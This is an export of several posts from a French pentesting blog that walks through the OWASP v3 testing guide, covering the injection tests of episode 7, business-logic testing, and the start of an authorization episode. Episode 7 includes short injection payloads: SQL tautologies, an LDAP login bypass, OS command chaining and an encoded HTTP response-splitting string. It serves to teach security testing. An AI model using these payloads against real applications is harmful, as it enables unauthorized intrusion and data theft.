vers la connaissance de la méthodologie OWASP. Nous n'avons pourtant pas encore couvert tous les sujets, ni même les plus classiques. En effet, s'il y a bien une recette qui marche à presque tous les coups en termes de pentests d'applis WEB, ce sont les injections en tout genre !&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;L'épisode 7 traite du contrôle des données fournies en entrée par un utilisateur (&lt;span style="font-style: italic;"&gt;Data Validation Testing - DV&lt;/span&gt;). Dans le cas d'un attaquant, il tentera d'injecter des caractères spéciaux puis du code malicieux si le contrôle des données n'est pas efficace. Le but n'est pas d'expliquer le fonctionnement de chaque type d'injection (ou alors, je tente la page de blog la plus longue de la toile ;) mais de passer en revue les principales possibilités à la disposition d'un attaquant proposées par la norme en question.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Phase de tests actifs 6 - &lt;span style="font-style: italic;"&gt;tests sur les injections&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;2.1 - DV-001 : XSS non persistant&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;Il existe deux catégories d'attaque de type XSS (ou Cross Site Scripting) :&lt;br /&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;les XSS non persistants qui ne sont pas maintenus dans l'application, lancé en "one-shot" (cf. le paragraphe présent) ;&lt;/li&gt;&lt;li&gt;les XSS persistants qui sont maintenus et pourront être rejoués par les victimes à leur insue en consultants un page affectée par exemple sans que l'attaquant n'intervienne de nouveau (cf. paragraphe suivant) ;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Il existe en réalité une troisième catégorie plus particulière, les attaques de type CSRF (vue dans l'épisode 4).&lt;/li&gt;&lt;/ul&gt;Pour trouver un XSS non persistant, nous abordons la démarche suivante :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Quels sont les entrées possibles ? Où avons-nous une chance de réussir une telle attaque. La réponse a normalement été élucidée dans l'épisode 1 ;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Phase d'analyse : tenter un XSS classique (cf. exemple ci-dessous. Encoder la requête si nécessaire).&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BhVyBIyY5_8/SbmZOeOli5I/AAAAAAAAAfU/uIC-cWWgHLw/s1600-h/XSS_code1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 24px;" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/SbmZOeOli5I/AAAAAAAAAfU/uIC-cWWgHLw/s400/XSS_code1.JPG" alt="" id="BLOGGER_PHOTO_ID_5312445709371673490" border="0" /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Phase d'attaque : injecter le code souhaité (ex : récupération des cookies).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BhVyBIyY5_8/SbmVUJeGkpI/AAAAAAAAAfM/yquTLW1fYo4/s1600-h/reflected_XSS.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 90px;" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/SbmVUJeGkpI/AAAAAAAAAfM/yquTLW1fYo4/s400/reflected_XSS.JPG" alt="" id="BLOGGER_PHOTO_ID_5312441408832311954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;2.2 - DV-002 : XSS persistant&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Les XSS persistants sont encore plus appréciés de l'attaquant puisqu'ils peuvent avoir des retombées après coup. Une démarche similaire sera suivie pour injecter de tels codes :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Trouver un moyen d'"enregistrer" votre XSS (formulaire, page de profil, page de configuration, etc.) ;&lt;/li&gt;&lt;li&gt;Analyser le code HTML de la page pour y trouver le champ vulnérable ;&lt;/li&gt;&lt;li&gt;Tester avec un XSS classique (un autre exemple est fourni ci-dessous).&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SbmZsnWJssI/AAAAAAAAAfc/QfbWWl6b_Es/s1600-h/XSS_code2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 22px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SbmZsnWJssI/AAAAAAAAAfc/QfbWWl6b_Es/s400/XSS_code2.JPG" alt="" id="BLOGGER_PHOTO_ID_5312446227215397570" border="0" /&gt;&lt;/a&gt;&lt;ul&gt;&lt;li&gt;Injecter le code qui sera exécuter lorsque la page infectée sera consultée manuellement ou automatiquement (ex : par une moulinette). Il est aussi possible d'utiliser des outils d'exploitation (un prochain post ?).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.3 - DV-003 : DOM Based XSS&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;En boîte grise, ce test consiste à&lt;br /&gt;&lt;ul&gt;&lt;li&gt;trouver dans le code les fonctions potentiellement injectables (ex : document.location, document.url, ...) ;&lt;/li&gt;&lt;li&gt;tenter l'attaque :&lt;/li&gt;&lt;ul&gt;&lt;li&gt;ex1 : concaténer le caractère &lt;span style="font-family:courier new;"&gt;#&lt;/span&gt; suivi du code malicieux (javascript) dans l'URL ;&lt;/li&gt;&lt;li&gt;ex2 : essayer le code XSS à la place des valeurs des paramètres.&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;Je vous invite à voir le &lt;a href="http://www.webappsec.org/projects/articles/071105.shtml"&gt;document d'Amit KLEIN&lt;/a&gt; pour plus d'info sur ce sujet.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.4 - DV-004 : Cross Site Flashing&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Nous testons ici la sécurité des animations flashs :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Dans un premier temps, récupérer le &lt;span style="font-family:courier new;"&gt;*.swf&lt;/span&gt; avec un simple &lt;span style="font-family:courier new;"&gt;wget&lt;/span&gt; ; &lt;/li&gt;&lt;li&gt;Puis, utiliser &lt;a href="http://www.nowrap.de/flare.html"&gt;flare&lt;/a&gt; pour le décompiler ;&lt;/li&gt;&lt;li&gt;Trouver les méthodes potentiellement dangereuses (ex :&lt;span style="font-family:courier new;"&gt; loadVariables()&lt;/span&gt;, &lt;span style="font-family:courier new;"&gt;getURL()&lt;/span&gt;, etc.) ;&lt;/li&gt;&lt;li&gt;Injecter le code malicieux (ex : &lt;span style="font-family:courier new;"&gt;javascript:code_malicieux&lt;/span&gt;).&lt;/li&gt;&lt;/ul&gt;Pour n'en citer qu'un seul, il existe un outil pour auditer ce genre d'animation : &lt;a href="https://www.owasp.org/index.php/Category:SWFIntruder"&gt;SWFIntruder&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.5 - DV-005 : injections SQL&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;Là, on s'attaque à un très gros morceaux. La norme prend l'ampleur du sujet en traitant les bases de données les plus connues (MySQL, Oracle, MS SQL, Access, PostgreSQL). Nous n'abordons ici que le principe très (très très) général.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;L'attaque réussie la plupart du temps dans le champ d'un formulaire, d'un champ de recherche, d'un champ d'e-commerce ;&lt;/li&gt;&lt;li&gt;Tester les caractères spéciaux et chaînes qui peuvent nous permettre de construire des requêtes SQL : &lt;span style="font-family:courier new;"&gt;' ; - AND OR /*&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Lancer des injections SQL en devinant les requêtes sous-jacentes (ex : &lt;span style="font-family:courier new;"&gt;1' or '1'='1&lt;/span&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.6 - DV-006 : injections LDAP&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;Les bases LDAP renferment des informations souvent aussi sensibles que celles que l'on aurait pu récupérées dans les bases de données vulnérables (cf. paragraphe précédent). Concrétement, les attaques vont généralement se réaliser de la manière suivante :&lt;br /&gt;utiliser le caractère &lt;span style="font-family:courier new;"&gt;*&lt;/span&gt; à la place des valeurs légitimes pour afficher tous les résultats ;&lt;br /&gt;essayer les caractères &lt;span style="font-family:courier new;"&gt;( | &amp;amp; , *&lt;/span&gt; pour provoquer des erreurs et obtenir des informations ;&lt;br /&gt;pour l'authentification, il existe des attaques plus complexes (exemple ci-dessous).&lt;br /&gt;&lt;blockquote&gt;username =&gt; *)(uid=*))(|(uid=*&lt;br /&gt;password =&gt; nimportequoi&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.7 - DV-007 : injections ORM&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;L'ORM ajoute une couche intermédiare entre la base de données et l'application WEB. Cependant, il n'est pas exempt de vulnérabilité. Aussi, comme toute solution, elle n'est efficace que si elle est configurée correctement. Sinon, son effet peut être inverse ... Le but de cette phase est donc :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;de s'assurer que l'ORM ne comporte pas de faille, ni de défaut de configuration ; &lt;/li&gt;&lt;li&gt;de tester les attaques d'injections seront similaires à celles déjà évoquées en DV-005 ;&lt;/li&gt;&lt;li&gt;en cas de test en mode boîte grise/blanche, d'étudier le code qui pourra certainement révéler de nouvelles failles.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.8 - DV-008 : injections XML&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;Le format XML est aujourd'hui très répandu pour transporter les informations entre l'IHM et la base de données. Il est donc fréquent de rencontrer ce format lors d'un pentest. Une nouvelle piste pour l'audit !&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Tester les caractères spéciaux acceptés et susceptibles d'intervenir pour une injection : &lt;span style="font-family:courier new;"&gt;' " &lt; &gt; &lt;!-- --&gt; &amp;amp; &lt;!--[CDATA[ ]]--&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Connaître la structure de la base de données. Est-il possible de lire la DTD ? Si oui, repérer les noms de champ intéressants ... Utiliser le type Entity avec le caractère &amp;amp; ;&lt;/li&gt;&lt;li&gt;Tester un Tag injection en insérant des tags malicieux dans les champs vulnérables. &lt;/li&gt;&lt;/ul&gt;En tant qu'exemple, nous prenons un champ qui ajoute un utilisateur dans la BDD. Nous allons en ajouter deux de la manière suivante :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SboIXxefnQI/AAAAAAAAAfk/sYwlrPL8Y-8/s1600-h/XML_Code1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 348px; height: 25px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SboIXxefnQI/AAAAAAAAAfk/sYwlrPL8Y-8/s400/XML_Code1.JPG" alt="" id="BLOGGER_PHOTO_ID_5312567914948173058" border="0" /&gt;&lt;/a&gt;Deuxième exemple : nous ajoutons une propriété supplémentaire à notre utilisateur :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SboJDWi5mrI/AAAAAAAAAfs/-dNE6MDlaqM/s1600-h/XML_Code2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 374px; height: 26px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SboJDWi5mrI/AAAAAAAAAfs/-dNE6MDlaqM/s400/XML_Code2.JPG" alt="" id="BLOGGER_PHOTO_ID_5312568663633140402" border="0" /&gt;&lt;/a&gt;&lt;u&gt;2.9 - DV-009 : injections SSI&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;SSI pour "Server Side Includes" permet d'obtenir du code dynamique dans ses pages HTML. Quelles sont les pages vulnérables ? En générale, les pages dont l'extension est *.shtml mais pas forcément. Alors comment le savoir ? Encore une fois, tester la réaction du serveur face aux caractères spéciaux : &lt;span style="font-family:courier new;"&gt;&lt; ! # = / . " - &gt;&lt;/span&gt;&lt;br /&gt;Puis ... à l'attaque ! Voici un exemple ci-dessous :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SboK4-MbaQI/AAAAAAAAAf0/aYYovT8FwMU/s1600-h/SSI.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 348px; height: 23px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SboK4-MbaQI/AAAAAAAAAf0/aYYovT8FwMU/s400/SSI.JPG" alt="" id="BLOGGER_PHOTO_ID_5312570684320999682" border="0" /&gt;&lt;/a&gt;&lt;u&gt;&lt;br /&gt;2.10 - DV-010 : injections XPATH&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;XPATH est le langage qui sert à interpréter des fichiers XML. Les attaques vont être très similaires à une injection SQL :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Comment tester ? Tenter le caractère &lt;span style="font-family:courier new;"&gt;'&lt;/span&gt;. Cela provoque-t-il une erreur intéressante ?&lt;/li&gt;&lt;li&gt;Tester une injection SQL classique (cf. DV-005 pour avoir des exemples plus que classique :)&lt;/li&gt;&lt;li&gt;Adapter l'attaque si on a connaissance du code XML associé.&lt;/li&gt;&lt;li&gt;De la même façon que pour SQL, nous pouvons tenter une attaque en aveugle.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/div&gt;&lt;u&gt;2.11 - DV-011 : injections IMAP/SMTP&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Bon, il n'est pas nécessaire de présenter les protocoles IMAP et SMTP mais connaissez-vous les attaques possibles sur ces protocoles en termes d'injection ?&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Injection dans l'URL : modifier un paramètre en lui donnant une valeur nulle, aléatoire ou contenant un caractère spécial. Vous pouvez aussi modifier le nom du paramètre ou carrément le modifier. A travers ces différents tests, vous connaîtrez mieux le comportement du serveur de messagerie.&lt;/li&gt;&lt;li&gt;Compléter votre connaissance en générant des erreurs sur les paramètres et valeurs vulnérables d'après le premier point. Le but est de connaître les flux et structures intéressant de la méssagerie.&lt;/li&gt;&lt;li&gt;Tester les injections sans être connecté (ex : utilisez les commandes IMAP) puis en l'étant si vous disposez d'un compte (ex : utilisez les caractères CRLF au bon endroit du mail qui n'est pas constitué que du corps de message ...).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.12 - DV-012 : injections de code&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Dans l'URL, il est parfois possible de lancer des commandes en modifiant les paramètres avec du code malicieux (encodé). En boîte grise, nous chercherons les parties de code ou fonction qui autorise d'entrée du code et qui, surtout, accepte des injections permettant l'exécution de code sur le serveur hôte (ex : un simple &lt;span style="font-family:courier new;"&gt;ls&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.13 - DV-013 : OS Commanding&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Intéragir avec le serveur hôte est un grand pas dans notre phase d'attaque. Les méthodes les plus classiques consistent à enchaîner des intructions malicieuses à des instructions légitimes. En général, cela revient à ajouter :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;&amp;amp; &lt;/span&gt;suivi de la commande (Windows) ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;;&lt;/span&gt; suivi de la commande (Linux) ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;|&lt;/span&gt; suivi de la commande.&lt;/li&gt;&lt;/ul&gt;&lt;u&gt;&lt;br /&gt;2.14 - DV-014 : Buffer Overflow&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Bon bah là, pour résumer en moins de cent lignes, je sais pas faire ;) Il faut savoir que la norme prend en considérations les trois types d'attaques suivants :  &lt;span style="font-style: italic;"&gt;Heap overflow&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;Stack overflow &lt;/span&gt;et &lt;span style="font-style: italic;"&gt;String Attack&lt;/span&gt;. Pour la démarche, je vais énormément simplifier mais grossièrement :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;On injecte une chaîne trop grande ;&lt;/li&gt;&lt;li&gt;On repère l'octet où on pourra injecter une adresse qui redirige vers notre code malicieux ;&lt;/li&gt;&lt;li&gt;Dans le cas d'une &lt;span style="font-style: italic;"&gt;string attack&lt;/span&gt;, on utilisera les chaînes suivantes : &lt;span style="font-family:courier new;"&gt;%x&lt;/span&gt;, &lt;span style="font-family:courier new;"&gt;%s&lt;/span&gt; et %n pour tenter de corrompre l'application.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.15 - DV-015 : Incubating Vulnerability&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Cette fois, nous tentons de corrompre l'application en y "déposant" un code malicieux que nous pourrons réutiliser pour pousuivre notre attaque (exemple, une backdoor) ou en espérant qu'une gentille victime actionne notre piège.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Il peut s'agir tout simplement d'uploader notre code grâce à un champ sympa (ex :champ pour l'upload de fichier) ;&lt;/li&gt;&lt;li&gt;Aussi, il peut s'agir d'XSS, injection SQL + XSS, ... (ex : dans un forum) ;&lt;/li&gt;&lt;li&gt;Ou encore, en profitant d'un défaut de sécurité ou de configuration. Par exemple, on peut injecter un fichier WAR malicieux (cf le post sur &lt;a href="http://mission-security.blogspot.com/2008/06/web-pentesting-hack-jonas-web.html"&gt;Jonas &lt;/a&gt;et &lt;a href="http://mission-security.blogspot.com/2008/12/pentesting-jboss-hacking.html"&gt;JBoss&lt;/a&gt; ...).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.16 - DV-016 : Splitting et Smuggling attack&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Une splitting attack consiste à s'arranger pour envoyer deux requêtes HTTP dont une notamment qui ne devrait pas être acceptée normalement par le serveur WEB.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Utiliser le CRLF avec votre requête malicieuse. Pour info, nous pouvons encoder le CRLF en &lt;span style="font-family:courier new;"&gt;%d%a&lt;/span&gt; ...&lt;/li&gt;&lt;li&gt;La requête toute entière doit être encodée ;&lt;/li&gt;&lt;li&gt;Pour compléter l'attaque, nous modifons le champs Last-modified avec une date dans le futur (ce champ est dans l'entête de la requête HTTP).&lt;/li&gt;&lt;/ul&gt;Plus que des mots, un exemple ci-dessous :&lt;br /&gt;&lt;blockquote&gt;fr%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AConteny-Length%3A%2031%0D%0A%3CHTML%3ESuccessfully%20Hacked!%3C%2Fhtml%3E&lt;/blockquote&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-6429751479250636080?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/6429751479250636080/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=6429751479250636080' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6429751479250636080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6429751479250636080'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/03/standard-owasp-episode-7.html' title='[STANDARD] OWASP - Episode 7'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_BhVyBIyY5_8/SbmZOeOli5I/AAAAAAAAAfU/uIC-cWWgHLw/s72-c/XSS_code1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-8120636821618108243</id><published>2009-02-25T02:41:00.000-08:00</published><updated>2009-02-25T03:23:39.019-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[STANDARD] OWASP - Episode 6</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Ce nouvel épisode est la suite de notre étude de la nouvelle version de la norme OWASP. Le but est de pratiquer les tests d'intrusion de manière méthodologique et aussi, de donner de nouvelles idées. Particulièrement, ce sixième épisode s'attache aux spécificités métiers de l'application cible.&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Le sixième épisode que nous traitons ici représente le cinquième chapitre de tests actifs après un premier chapitre de découverte. Dans la norme OWASP v3, il s'agit du chapitre 4.7 relatif aux tests de l'application WEB cible et notamment les fonctions métiers qui peuvent être sujettes à des problèmes de sécurité.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Phase de tests actifs 5 - &lt;span style="font-style: italic;"&gt;tests sur les fonctionnalités métiers&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;2.1 - BL-001 : Tests des fonctionnalités métiers&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;Puisque chaque application est différentes, il n'existe pas de tests particuliers que nous pouvons fournir de manière certaine. Cependant, une démarche précise est proposée pour couvrir au mieux l'application et tenter de trouver les failles de sécurité éventuelles.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1/ Comprendre l'application :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Il s'agit ici de connaître les possibilités offertes par l'application. Pour cela, l'auditeur pourra s'aider de la documentation disponible (test en boîte blanche) et de sa propre exploration de l'application en navigant sur les différentes pages. Il est important de noter à cette étape :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;les &lt;span style="font-weight: bold;"&gt;limites rencontrées &lt;/span&gt;(que nous essaierons ensuite de contourner) ;&lt;/li&gt;&lt;li&gt;les &lt;span style="font-weight: bold;"&gt;différentes manières&lt;/span&gt; de réaliser certaines actions (notamment les actions les plus importantes).&lt;/li&gt;&lt;/ul&gt;Cette première étape nous fournit un aperçu de l'application et nos premières pistes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;2/ Etablir les scénario de tests : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nous prenons ici en compte tous les cas possibles que nous devrons croiser entre eux pour être exhaustif. Les cas en questions sont :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;les fonctionnalités principales (recherche d'un produit, commande d'un produit, ...) ;&lt;/li&gt;&lt;li&gt;le circuit de validation d'une action (ex : de la commande à la validation d'un achat) ; &lt;/li&gt;&lt;li&gt;les différents rôles intervenant sur l'application (e.g. de l'administrateur au directeur) ;&lt;/li&gt;&lt;li&gt;les différents services (service IT, marketing, ...) ;&lt;/li&gt;&lt;li&gt;les droits et privilèges accordés à chacun ... et à vérifier.&lt;/li&gt;&lt;/ul&gt;Ces cinq éléments doivent nous permettre de constituer un tableau avec l'ensemble des actions permises pour chaque niveau d'utilisateur.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;3/  Préparation des tests&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Suite à l'étape précédente, nous devons déterminer ici le ou les test(s) à réaliser en conséquence pour nous assurer que l'application est correctement cloisonnée par type d'intervenant et par action.&lt;br /&gt;&lt;br /&gt;Par conséquent, à l'issue de cette troisième étape, un nouveau tableau sera créé contenant les tests résultants de l'étape précédente. Nous nous appuierons donc largement sur le précédent tableau.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;4/ Obtention des pré-requis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Maintenant que les tests à réaliser sont connus, il est temps de demander au client les ressources nécessaires à leur réalisation. La plupart du temps, il s'agira de comptes avec des niveaux de privilèges différents. Aussi, il peut s'agir d'URL d'administration pour les comptes les plus privilégiés. Il est préférable de commencer avec un compte standard et de demander les ressources au fur et à mesure pour ne pas influencer les tests.&lt;br /&gt;Par exemple, est-il possible de trouver et d'accéder à l'interface d'administration avec un compte standard sans information préalable ?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;5/ Exécution des tests&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;L'exécution des tests issus du tableau déterminé en 3/ considérera la plupart du temps :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;l'analyse des requêtes HTTP ; &lt;/li&gt;&lt;li&gt;les protections apportées (ou non) aux flux et données (e.g . chiffrement) ;&lt;/li&gt;&lt;li&gt;la récupération d'erreur lorsque nous testons des valeurs limites ou hors range (ex : valeur négative ou très importante pour une somme) ;&lt;/li&gt;&lt;li&gt;la recherche d'information cachée dans le traitement des actions;&lt;/li&gt;&lt;li&gt;la modification de données en cours d'action ;&lt;/li&gt;&lt;li&gt;le contournement d'une ou plusieurs étapes de validation ;&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;A vous de jouer !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;La suite au prochain épisode.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-8120636821618108243?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/8120636821618108243/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=8120636821618108243' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/8120636821618108243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/8120636821618108243'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/02/standard-owasp-episode-6.html' title='[STANDARD] OWASP - Episode 6'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-3139026113783922941</id><published>2009-02-24T04:52:00.000-08:00</published><updated>2009-02-24T05:38:00.749-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[STANDARD] OWASP - Episode 5</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Ce post traite la quatrième phase des tests actifs. Ils sont relatifs à l'autorisation sur les ressources (utilisateurs, fichiers, données, etc.) gérées par l'application WEB testée. Le but des attaques présentées est de trouver l'accès à des ressources protégées ou de réaliser une escalade de privilèges.&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Nous continuons notre aventure à la découverte de la norme OWASP v3 dans ce cinquième épisode. De nom originel "&lt;span style="font-style: italic;"&gt;Authorization Testing&lt;/span&gt;", il s'agit du chapitre 4.6 de la norme. A noter que cette partie aborde plus des points d'attaque que des attaques précises. En effet, une escalade de privilège suit rarement un acheminement précis sauf dans le cas d'un exploit existant qui entre dans le cadre d'une vulnérabilité trouvée.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;2 - Phase de tests actifs 4 - &lt;span style="font-style: italic;"&gt;tests sur les autorisations&lt;br /&gt;&lt;br 